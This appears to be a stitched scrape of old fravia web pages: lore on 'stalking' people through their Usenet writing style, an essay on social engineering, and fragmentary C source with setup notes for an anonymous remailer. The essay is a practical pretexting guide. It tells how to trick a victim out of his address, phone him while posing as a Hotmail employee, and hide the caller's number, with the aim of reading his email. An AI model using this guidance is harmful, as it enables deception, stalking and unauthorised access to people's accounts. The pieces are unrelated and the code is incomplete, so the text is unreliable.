from those sides.
You'll VERY FREQUENTLY find this when you stalk trolls (see enemy.htm), because trolls are trollyng mostly IN ORDER
to find and contact other trolls-savy.
Yet another 'comportamental' example is the interplay among MORE THAN ONE fictious identities. In Balif's example (see
enemy.htm), you have seen how his target used a whole plethora of faked personalities in order to create a 'group' impression.
Of course the more fictious identities you identify, the easier it is to see the common sharp edges they possess.
Thus the language of Usenet demonstrates several characteristics more typical of oral communication in an organizational
setting, casual conversation or, rather, organized meetings.
In fact the syntax and word choice often evoke conversational informality, emphasis, rhythm, and even vocalizations. On the
other hand, the messages may also evince characteristics of written discourse such as formal wording, careful composing and
editing, and textual formatting.
A typical case is when there is a LIST of points
1) inside
2) your target's
3) email
There is also at times an interesting evidence of patterns that are a distinctively characteristic of web interaction. Many
messages display ascii graphic, typographical ascii jokes, signets and subject line humor, patterns also that are very unlikely in
written and oral discourse. All such patterns ca be, at times, interesting clues.
These clues and patterns reflect both the capabilities of the web and the characteristics of the group. The interactivity of oral
discourse is in fact supported and encouraged on Usenet by the ability to engage in rapid exchanges and to collect and respond
to embedded excerpts of previous messages. At the same time the asynchronous nature of the web and the editing capabilities
of the participants' email applications allow reflection and crafting patterns more characteristic of the written discourse. The
web's ability to support informal textual exchanges allow a playful relationship with the text, or to indulge in flaming.
Of course all sort of interaction, the characteristics of the individual targets, their social community, and their motherlanguage
influence the particular combination of linguistic and textual characteristics that they express.
Do not underestimate the richness and complexity of email communication... as soon as you'll have learned your stalking abc
you'll never miss much all the clues that the real, non virtual world gives you when you communicate.
Now have a look at the semplified version of fravia's stalking tablet (TM):
A word of warning:
You found my site and you are reading this, therefore you have now a relatively "high" level of web-lore and reversing
knowledge.
Until recently I kept this section of mine in a "closed" server with other mildly powerful and potentially dangerous tutorials
and tools. I am now going public with my stalking lore because spamming has taken incredibly annoying proportions and I
have decided to create as many powerful reversers as possible in order to tackle and destroy the commercial idiots.
Yet, as you perfectly know, knowledge can be used either for good or for evil. Knowledge, especially this kind of knowledge,
is a powerful weapon. You may use it to defend yourself but you may not use it to offend innocents
I hope to have you at my side, fighting on the web for knowledge and against all commercial zombies, but I cannot avoid that
you join the dark side if you want to... if you do, however, take care not to meet me.
This section of my site, under perennial construction, was started on 31 July 1998
1) general stalking 3) luring
*) Answer to the 'two snippets' question... Hey! Try to find the solution by yourself BEFORE reading the following!
decaps era teppins tsrif eht fo kram noitseuq dna sisehtnerap eht
I'm not a native English speaker, as you will soon discover reading this :-), so please forgive any
mistakes.
Introduction
Often you spend a lot of energy trying to gather informations using all the net resources you can think
of... and that's ok, but sometimes there is another method, easier and quicker. Reading this you will find I
started the other way round, that is, I had some 'real world' infos and used them to get 'virtual' ones,
something you have probably often overlooked.
Tools required
A working brain.
A telephone.
Target's URL/FTP
(none)
Program History
(none)
Essay
Yeah, after reading several essays from Fravia's pages we are all experts in cracking apps, searching the
web and stalking enemies, aren't we? If we want to find someone on the net, we know we have lots of
tools to begin with, like Dejanews, or DNS records. Now I want to tell you of a powerful technique,
which is mainly used for hacking-related efforts, but works well almost whenever you can apply it.
Social engineering means "fooling people into telling you what you want to know, even if they are told
not to/you are not entitled to/they don't want to/and so on".
The 99% theory
The most astonishing aspect is that it works! The reason goes more or less like this: of the 6 billions
people in the world, 1% are intelligent beings, the other 99% blindly follow their lead. No, I am not
saying that they have no brain: the previous sentence applies for each aspect of our life separately. For
example, I can not paint like Bilibin :-), nor I will able to do it in my entire life. For this, I reside on the
99% side. But talking of computers, I know only one guy who can beat me (in 'real' life, of course, the
Net is full of talented people), so I feel I stay on the 1% side. I bet the same is true for the majority of
you, since you are reading Fravia's pages. If not, carry on and study some more essays, you will surely
change your status.
What all that means for us? It's easy to guess: if you are trained in computer sciences, you unconsciously
tend to think that everything that is easy for you is easy also for the others; well, it's not! All the
knowledge you have built during many years is a mystery for them. On the net, you often find expert and
trained people, because it's the right place to find them. Everywhere else in the world, they are rare.
Now to the interesting part: after have picked up your "victim", he/she will almost surely reside on the
99% 'blind' side, and you have a huge advantage: you simply know what you are talking about, he does
not.
I will give you a small example, very simple and straightforward, but I am lazy and this is the first which
came to my mind, since it's the last I did.
So there was a guy, the story is long and I am going to write down only the relevant parts. I exchanged
some e-mail with him, and I was sure he was hiding something important to me. Here are the relevant
things I knew of him:
He was from my own country, so there was no language barrier
(this is a must! If you cannot speak his language very well, you have almost lost)
He had a hotmail account, so I knew his login name
So what? Well, I wanted to read his past mail. I was betting that, like most 99%-sided people, he was not
deleting it after reading. So I tricked him to tell me his snail-mail address, which people often give away
with little concern, btw. A quick call to the local telephone company gave me his number.
Here begins the difficult part: you have to play the 'perfect employee' role.
Find a quiet place, possibly with some low 'office' sound on the background.
If you think your victim has a caller ID, that is, he can track the number you are calling from,
'borrow' some telephone at work or somewhere else.
Take some deep breaths, your voice must be polite and look used to telephone conversations, try to
learn from all the telephonists you talk with.
If you are a woman and your victim is a man, you have another little psychological advantage over
him, talk with a happy tone and he will answer everything you ask :-)
If you can exibit a good knowledge of his personal data, he will gladly fill just that small gap you
need.
(conversation translated)
"Good morning sir, I am (insert faked name here), I am willing to speak with mr. (insert victim's name
here)"
"Yes, hold on please"
....
"Hello, I am (victim's name)"
"Good morning sir, I am an employee of the local Hotmail agency (btw, I don't think Hotmal has 'local
agencies'), I am sorry I am calling you so early..."
"Uh, hotmail, well, I was having breakfast, but it doesn't matter" (victim is surprised)
"I was able to call you because of the personal data form you filled when creating your account, so don't
be surprised" (with eye-blinking tone)
And that's all. You see, nothing difficult. This time was easy, because no questions came from the victim.
Often you need a ready imagination to reply with convincing arguments. You don't need to be, just
pretend you are, and remember that you are on the 1% side :-)
Final Notes
(none)
Ob Duh
Obviously all this essay talks about some theoretical situation. Tricking people into giving away their
password is illegal in some countries, and if you take every word literally this text could be seen as
illegal as well. But you are smart, don't you?, so you can see the irony between the lines.
You are deep inside fravia's page of reverse engineering, choose your way out:
#undef CONFIGURED
First, load the file remailer.c into your favorite editor. You will see a
series of #define statements at the beginning. These should be changed to
suit your needs. The values are:
ANONFROM - This is what is used as the From line when the remailer sends
an anonymous message. It should begin with From: and end with a \n
REMAILERFROM - This is what should go in the From line when the remailer
returns a help or stats response. It should also begin with From: and
end with \n
The rest are the names of the files the remailer uses. They are all
relative to DIR, and except for remailer-help, are created by the remailer
if they do not exist. You shouldn't need to change them. They are:
BLOCKFROM: the name of the source block list (default: source.block)
BLOCKTO: the name of the destination block list (default: dest.block)
INQUEUE: The directory for incoming messages (default: in.queue)
OUTQUEUE: The directory for outgoing messages (default: out.queue)
TEMPDIR: Directory for temporary files (default: temp)
STATSDATA: File to keep usage statistics in (default: statsdata)
HELPFILE: The "remailer-help" file
Next, create a PGP key for the remailer. Be sure the password matches the
one you put in remailer.c, and put the pubring and secring in the directory
you set for PGPPATH. Extract the key with ascii armor and put it into the
remailer-help file. Be sure to have a randseed.bin file in the directory,
or PGP will not run properly.
The remailer should now be operational. Send a test message from another
account to be sure it works. If you defined a default latency, you will
need to put a Latent-Time: +0:00 header to get an immediate response.
Address Blocking
Two files specify lists of addresses to block. Any message coming from an
address specified in the source.block file is discarded. Any message sent
to an address in the dest.block file is similarly discarded. The dest.block
file can also be used to block posts to newsgroups. The blocking files
consist of a list of addresses, one on each line. Addresses will be matched
regardless of whether it is upper or lower case. A * may be used as a
wildcard. For example, spammer@*.velveeta.com would block the address
spammer at any subdomain of velveeta.com. Any line beginning with
a ! is an exclusion, and the address following it will be unblocked even
if it matched a previous line. An exclusion must come after the line
which would block it. Any line beginning with a # is treated as a comment
line, and is ignored.
Every time the remailer is run, it also checks the outgoing message queue
to see if there are any latent messages to be delivered. Ordinarilly the
messages will be delayed until the next time a message comes in, but you
can set up a cron job to deliver the waiting messages in a more timely
fashion. To get the remailer to deliver queued messages, execute the
remailer and send it an empty message with the command: remailer </dev/null
/* ----------------------------------------- */
/* Modify these variables to fit your system */
/* ----------------------------------------- */
#ifndef CONFIGURED
/* ------------------------------------------------------ */
/* You shouldn't need to modify anything beyond this line */
/* ------------------------------------------------------ */
/* History
/* End of history */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <sys/time.h> /* some os need this one also */
/*File io stuff:*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
FILE *infile;
FILE *outfile;
FILE *tempfile;
FILE *file2;
char from[MAXLEN]="";
char from_address[MAXLEN]="";
char cutmarks[MAXLEN]="";
int anon_flag=0;
int help_flag=0;
int stat_flag=0;
int pgp_flag=0;
char replykey[80]="";
char idbuf[17];
int idcount=0;
struct timeval tp;
unsigned long latime;
int blockflag;
int nospamcheck_flag=0;
FILE *killfile;
chdir(DIR);
if(killfile=fopen(file,"r")){
while(fscanf(killfile,"%s",input)>0) {
if (input[0]!='#'&&input[0]>32) {
x=0;exclude=0;z=0;
if (input[0]=='!') {exclude=1;z++;}
while(address[x]!=0) {
y=0;
while ((address[x+y]|32)==(input[y+z]|32)&&input[y+z]!='*'
&&input[y+z]!=0&&address[x+y]!=0) {
y++;
}
if (input[y+z]==0) match=(1^exclude);
if (input[y+z]=='*') {z=z+y+1;x=x+y;}
else x++;
}
}
}
fclose(killfile);
}
if (match==1) address[0]=0;
}
while(str2[x]!=0) {
y=0;
while ((str2[x+y]==str1[y]||str2[x+y]==(str1[y]-32))&&str2[x+y]!=0) {
y++;
if (str1[y]==0) match=1;
}
x++;
}
return(match);
}
/* Match headers */
else if (match(input,"Request-Remailing-To:")) { resend_flag=1; anon_flag=1; }
else if (match(input,"Remail-To:")) { resend_flag=1; anon_flag=1; }
}
else if (match(input,"Cutmarks:")||match(input,"Cutmark:")) {
cutmarks_flag=1; }
resend_address[2]='s';
resend_address[3]='t';
resend_address[4]=0;
block_addr(input,BLOCKTO);if (input[0]==0) resend_address[0]=0;
}
}
if(cutmarks_flag){
x=0;y=0;
while(input[x]!=':'){x=x+1;}
x=x+1;
if(input[x]==32){x=x+1;}
z=x;
while(input[x]>32){
cutmarks[y]=input[x];
x=x+1;y=y+1;
}
cutmarks[y]=0;
}
if (match(input,"Latent-Time:")) {
x=12;
while (input[x]==' '||input[x]=='\t'){x++;}
latent_plusflag=0;latent_randflag=0;
latent_h=0;latent_m=0;latent_s=0;
while((input[x]<'0'||input[x]>'9')&&input[x]>=32) {
if (input[x]=='+') latent_plusflag=1;
if ((input[x]=='r')||(input[x]=='R')) latent_randflag=1;
x++;
}
while (input[x]>='0'&&input[x]<='9') {
latent_h=(latent_h*10)+(input[x]-48);
x++;
}
if(input[x]==':') {
x++;
while (input[x]>='0'&&input[x]<='9') {
latent_m=(latent_m*10)+(input[x]-48);
x++;
}
if(input[x]==':') {
x++;
while (input[x]>='0'&&input[x]<='9') {
latent_s=(latent_s*10)+(input[x]-48);
x++;
}
}
}
while(input[x]>=32) {
if (input[x]=='+') latent_plusflag=1;
if ((input[x]=='r')||(input[x]=='R')) latent_randflag=1;
x++;
}
latime=(latent_h*3600+latent_m*60+latent_s);
if(latent_plusflag==0) {
/* Not Supported - Is this really necessary? */
}
if(latent_randflag&&(latime>1)) {
/* Simple randomizer */
latime=abs((tp.tv_sec^latime)+tp.tv_usec+(getpid()*latime))%(latime+1);
}
latime+=tp.tv_sec;
}
}
char* genid() { /* Generate ascii id from process id and time with shuffle */
unsigned long int id1,id2;
int x=0;
id1=getpid()|(idcount<<16);
id2=tp.tv_sec;
idcount++;
for(x=32;x--;){
id1+=1234567890;
id1^=0xABCDEF12;
id1=(id1<<1)|(id1>>31);
id2^=id1;
id2+=0x12345678;
id2^=0x9ABCDEF0;
id2=(id2<<31)|(id2>>1);
id1^=id2;
}
for(x=0;x<8;x++) {
idbuf[x]=65+(id1&15);
id1=id1>>4;
}
for(x=8;x<16;x++) {
idbuf[x]=65+(id2&15);
id2=id2>>4;
}
idbuf[16]=0;
return(idbuf);
}
input[MAXLEN-1]=0;
pipe(pipefd);
pipe(pipe2fd);
if(!fork()) {
dup2(pipefd[0],0);
dup2(pipe2fd[1],1);
close(pipefd[1]);
close(pipe2fd[0]);
chdir(DIR);
execl(PGP,"pgp","-fcta","+BATCHMODE","+ARMORLINES=0","-z",replykey,(char
*)0);
}
close(pipefd[0]);close(pipe2fd[1]);
file2=fdopen(pipefd[1],"w");
while(fgets(input,MAXLEN-1,infile)) {
fprintf(file2,"%s",input);
}
fclose(file2);
file2=fdopen(pipe2fd[0],"r");
while(fgets(input,MAXLEN-1,file2)) {
fprintf(outfile,"%s",input);
}
fclose(file2);
}
timestr=localtime(&(tp.tv_sec));
if(datafile=fopen(STATSDATA,"r")){
fscanf(datafile,"%d",&hour);
fscanf(datafile,"%d %d %d %d",&ccm,&ccpgp,&ccl,&ccnews);
for(x=0;x<24;x++) {
fscanf(datafile,"%s %d %d %d %d %d",
month[x],&date[x],&m[x],&p[x],&l[x],&u[x]); }
fclose(datafile);
}else{
for(x=0;x<24;x++) {
strcpy(month[x],"---");
date[x]=0;m[x]=0;p[x]=0;l[x]=0;u[x]=0;
}
}
currenthour=(*timestr).tm_hour;
x=hour%24;
while (x!=currenthour) {
if (x>0) {
strcpy(month[x],month[x-1]);
date[x]=date[x-1];
}else{
if((*timestr).tm_mon==0) strcpy(month[0],"Jan");
if((*timestr).tm_mon==1) strcpy(month[0],"Feb");
if((*timestr).tm_mon==2) strcpy(month[0],"Mar");
if((*timestr).tm_mon==3) strcpy(month[0],"Apr");
if((*timestr).tm_mon==4) strcpy(month[0],"May");
if((*timestr).tm_mon==5) strcpy(month[0],"Jun");
if((*timestr).tm_mon==6) strcpy(month[0],"Jul");
if((*timestr).tm_mon==7) strcpy(month[0],"Aug");
if((*timestr).tm_mon==8) strcpy(month[0],"Sep");
if((*timestr).tm_mon==9) strcpy(month[0],"Oct");
if((*timestr).tm_mon==10) strcpy(month[0],"Nov");
if((*timestr).tm_mon==11) strcpy(month[0],"Dec");
date[0]=(*timestr).tm_mday;
}
m[x]=0;
p[x]=0;
l[x]=0;
u[x]=0;
x++;if (x>23) x=0;
}
if (hour!=currenthour) {
m[hour]=ccm;
p[hour]=ccpgp;
l[hour]=ccl;
u[hour]=ccnews;
ccm=0;
ccpgp=0;
ccl=0;
ccnews=0;
}
ccm+=inccnt;
ccpgp+=incpgp;
ccl+=inclat;
ccnews+=incpost;
if(datafile=fopen(STATSDATA,"w")){
fprintf(datafile,"%d\n",currenthour);
fprintf(datafile,"%d %d %d %d\n",ccm,ccpgp,ccl,ccnews);
for(x=0;x<24;x++) {
fprintf(datafile,"%s %d %d %d %d %d\n",
month[x],date[x],m[x],p[x],l[x],u[x]);
}
fclose(datafile);
} else fprintf(stderr,"remailer: can't write file %s\n",STATSDATA);
}
void viewstats() {
int m[24];
int ccm;
int p[24];
int ccpgp;
int l[24];
int ccl;
int u[24];
int ccnews;
char month[24][5];
int date[24];
int hour;
int currenthour;
FILE *datafile;
int x;
int y;
char buffer[1024];
datafile=fopen(STATSDATA,"r");
fscanf(datafile,"%d",&hour);
fscanf(datafile,"%d %d %d %d",&ccm,&ccpgp,&ccl,&ccnews);
for(x=0;x<24;x++) {
fscanf(datafile,"%s %d %d %d %d %d",
month[x],&date[x],&m[x],&p[x],&l[x],&u[x]); }
fclose(datafile);